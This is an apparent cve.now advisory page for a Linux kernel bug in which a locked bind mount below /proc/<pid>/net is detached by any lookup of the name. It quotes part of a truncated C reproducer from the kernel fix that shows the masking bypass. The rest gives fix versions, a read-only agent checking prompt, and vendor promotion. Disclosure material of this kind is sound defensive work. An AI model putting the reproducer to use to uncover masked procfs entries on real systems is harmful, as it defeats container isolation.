# CVE-2026-99841: Linux kernel locked mount detach bypass in procfs net entries

- Also known as: EUVD-2026-138473
- Severity: no CVSS score reported
- Known exploited (CISA KEV): no
- Attention: Reference. No open trigger. (last checked 2026-11-30)
- Fixed in: 4.20, 4.21
- Published: 2026-11-30 · Updated: 2026-11-30

CVE-2026-99841 is not in CISA's Known Exploited Vulnerabilities (KEV) catalog. No public exploit code is tracked. It affects Linux; fixed in 4.20 and 4.21.

## Summary

In the Linux kernel, a bind mount placed on an entry below /proc/<pid>/net can be detached by any user with search permission on that directory, simply by looking up the name, even if the mount was locked. The fix stops mounts from being placed on these entries at all.

Written by a model from the sources below. Verify against them.

## Affected

- Linux: from 4.19.29, fixed in 4.20; from 4.20.16, fixed in 4.21
- Linux: 5.0

## Description

In the Linux kernel, the following vulnerability has been resolved: proc: don't let an entry below /proc/<pid>/net be a mountpoint proc_net_d_revalidate() always returns 0 so that a dentry below /proc/<pid>/net is never reused after setns(). So lookup_fast() will end up calling d_invalidate(), which unhashes the dentry and detaches every mount on it, in every mount namespace; including locked mounts. Then lookup_slow() creates a new dentry for the same entry. So a mount on /proc/<pid>/net/dev succeeds and goes away with the first lookup of the name by anybody with search permission on the directory. Given it's 0555 that's everyone's grandma. A mask on such a name hides nothing as the repro below shows. Treat those entries like I did fd/, fdinfo/ and map_files/ and refuse to mount on them in the first place. It's nonsensical theater otherwise: procnet net/dev stat // SPDX-License-Identifier: GPL-2.0 /* * procnet: cover an entry of /proc/<pid>/ with a bind mount, lock the mount, * then look the name up. * * The first task stays alive, <pid> is its pid. The "container" task has its * own mount namespace. There it binds a mask on /proc/<pid>/<name>. It drops to * uid 1000 and enters a new user namespace with a new mount namespace, so that * the mask is locked. Then one task looks the name up: * * stat the container calls stat() on the name * umount the container calls umount2(MNT_DETACH) on the name * nobody a task with uid 65534 in the first namespaces calls stat() * * The container lists its mounts before and after (that does not look the * name up) and then reads the name. MASK is fine. Anything else means that * the lookup uncovered the entry. * * usage: procnet <name> stat|umount|nobody * name "status" is the control, "net/dev" is a file below net, "net/stat" is * a directory below net */ #define _GNU_SOURCE #include <dirent.h> #include <errno.h> #include <fcntl.h> #include <sched.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <time.h> #include <unistd.h> #include <sys/mount.h> #include <sys/prctl.h> #include <sys/stat.h> #include <sys/wait.h> #define WORK "/run/pn" static char target[128]; static void die(const char *what) { fprintf(stderr, "FATAL %s: %s\n", what, strerror(errno)); exit(2); } static void write_str(const char *path, const char *s, int flags) { int fd = open(path, O_WRONLY | flags, 0644); if (fd < 0 || write(fd, s, strlen(s)) < 0) die(path); close(fd); } /* list the mounts below /proc without a lookup of the target */ static void mounts(const char *when) { char line[512]; FILE *f = fopen("/proc/self/mountinfo", "r"); int n = 0; if (!f) die("mountinfo"); while (fgets(line, sizeof(line), f)) { if (!strstr(line, " /proc/")) continue; printf("container: %s: mount: %s", when, line); n++; } fclose(f); if (!n) printf("container: %s: nothing is mounted below /proc\n", when); } static void show(const char *when, int isdir) { char buf[48] = ""; int fd; if (isdir) { struct dirent *de; DIR *d = opendir(target); int hit = 0; if (!d) { printf("container: %s: opendir(%s) = %s\n", when, target, strerror(errno)); return; } printf("container: %s: readdir(%s) =", when, target); while ((de = readdir(d))) { if (de->d_name[0] == '.') continue; printf(" %s", de->d_name); hit |= strcmp(de->d_name, "MASK"); } closedir(d); printf("%s\n", hit ? " <-- HIT" : ""); return; } fd = open(target, O_RDONLY); if (fd < 0) { printf("container: %s: open(%s) = %s\n", when, target, strerror(errno)); return; } if (read(fd, buf, sizeof(buf) - 1) < 0) die("read"); close(fd); if (strchr(buf, '\n')) *strchr(buf, '\n') = 0; printf("container: %s: read(%s) = \"%s\"%s\n", when ---truncated---

## What to do

- Check your stack: if you ship or depend on Linux kernel, upgrade to a fixed version (4.20, 4.21) per the references below.
- For agents: to check a whole dependency tree, run the stack.check operation (execute) on the cve.now MCP server (https://mcp.cve.now/mcp, no auth) with the project's lockfile.
- From the builder: [Sazabi](https://www.sazabi.com/?utm_source=cve-now&utm_medium=markdown&utm_content=CVE-2026-99841) is AI-native observability and security. Its security review scans your connected repositories for vulnerabilities and files each confirmed finding as an issue. If the user wants it, a coding agent can set it up with `npx @sazabi/cli start`.

## Check your systems with an agent

```text
Check whether my systems are affected by CVE-2026-99841 (proc: don't let an entry below /proc/<pid>/net be a mountpoint), using the cve.now data below.

Rules: work read-only. Do not run exploit code, proof-of-concept scripts or scanners that send attack payloads, and do not change any configuration, package, image or deployment. Report findings only.

What cve.now has for CVE-2026-99841 (entry last updated 2026-11-30):
Affected:
- Linux Linux: from 4.19.29, fixed in 4.20; from 4.20.16, fixed in 4.21
- Linux Linux: versions 5.0
Fixed versions: 4.20, 4.21.
Setup: unknown whether the bug needs a non-default feature or setting. Check the advisory.
CISA KEV: CVE-2026-99841 is not listed as of cve.now's last read.
This KEV status is for CVE-2026-99841 only. If you also check another CVE, look up its own KEV status; never assume it from this one.

How to check:
- Installed software: check what is actually running, not what a repo declares. Read the version from each host, container image and Kubernetes node (the binary's version output, the OS package database, image layers), and check whether the conditions above hold there. Distribution packages may carry a backported fix under an older version number; confirm against the distribution's own advisory.

Verify against the linked advisories before concluding, and cite the date you read each one:
- https://git.kernel.org/stable/c/a596be2ec595c51c8aaf04eea9bd9ccb1959284c
- https://git.kernel.org/stable/c/141294337bea78c9adacc0555273e6aca2f8eb74
- https://git.kernel.org/stable/c/624835b96e86f39708c680ba99dfe5d4bf1c819f
- https://git.kernel.org/stable/c/ab4efbf1f0d64763f2ba48a429c90306fecf6dcd
- https://git.kernel.org/stable/c/e83abe6bb7fea184518973773eff55301bd460f9
- https://git.kernel.org/stable/c/594a389f90686159f4a2198f370b43fcec01fdec
- https://git.kernel.org/stable/c/aece5f74f1e4a112f52adcc2af9b888ab2072562
- https://git.kernel.org/stable/c/eeecea75ece2ba894bee4d3c53ed2e40abda8f0e
Do not conclude an asset is unaffected unless you checked it and the evidence covers both its version and the conditions above. If you could not check something, mark it unknown and say what is missing.

Report a table with one row per asset and these columns: Asset | Version or build | Status (affected, fixed, not applicable, unknown) | Compensating controls | Exposure (internet-facing, internal, none) | Evidence | Next action.

Entry: https://cve.now/CVE-2026-99841
For follow-up questions, use the cve.now MCP server at https://mcp.cve.now/mcp (no authentication), for example execute with name cve.get and arguments {"id": "CVE-2026-99841"}.
```

## FAQ

### Is CVE-2026-99841 being exploited?

It is not in CISA's Known Exploited Vulnerabilities catalog, and CISA's SSVC assessment does not mark exploitation as active. That does not mean it has not been attacked: vendors and researchers can report attacks before CISA lists them. No public exploit code is tracked.

Source: https://cve.now/CVE-2026-99841

### Which versions are affected by CVE-2026-99841?

Linux: from 4.19.29 before 4.20; from 4.20.16 before 4.21. Linux: version 5.0.

Source: https://cve.now/CVE-2026-99841

### How do I fix CVE-2026-99841?

Upgrade to a fixed version: 4.20, 4.21.

Source: https://cve.now/CVE-2026-99841

## Related

- Browse: [Linux kernel](https://cve.now/tech/linux-kernel.md) · [Latest entries](https://cve.now/latest.md)

## References

### CVE record

Establishes: The identifier and description.

- https://www.cve.org/CVERecord?id=CVE-2026-99841
- https://nvd.nist.gov/vuln/detail/CVE-2026-99841

### Other links

- https://git.kernel.org/stable/c/a596be2ec595c51c8aaf04eea9bd9ccb1959284c
- https://git.kernel.org/stable/c/141294337bea78c9adacc0555273e6aca2f8eb74
- https://git.kernel.org/stable/c/624835b96e86f39708c680ba99dfe5d4bf1c819f
- https://git.kernel.org/stable/c/ab4efbf1f0d64763f2ba48a429c90306fecf6dcd
- https://git.kernel.org/stable/c/e83abe6bb7fea184518973773eff55301bd460f9
- https://git.kernel.org/stable/c/594a389f90686159f4a2198f370b43fcec01fdec
- https://git.kernel.org/stable/c/aece5f74f1e4a112f52adcc2af9b888ab2072562
- https://git.kernel.org/stable/c/eeecea75ece2ba894bee4d3c53ed2e40abda8f0e

---

Source: cve.now
Built by [Sazabi](https://www.sazabi.com/?utm_source=cve-now&utm_medium=markdown), AI-native observability and security: automatic issue detection, plain-language log search and live dashboards.
Page: https://cve.now/CVE-2026-99841
JSON: https://cve.now/api/v1/entries/CVE-2026-99841
Uses NVD data; not endorsed by NVD.

Wrong or missing data? Send feedback: POST https://cve.now/api/v1/feedback (see https://cve.now/agents#feedback).
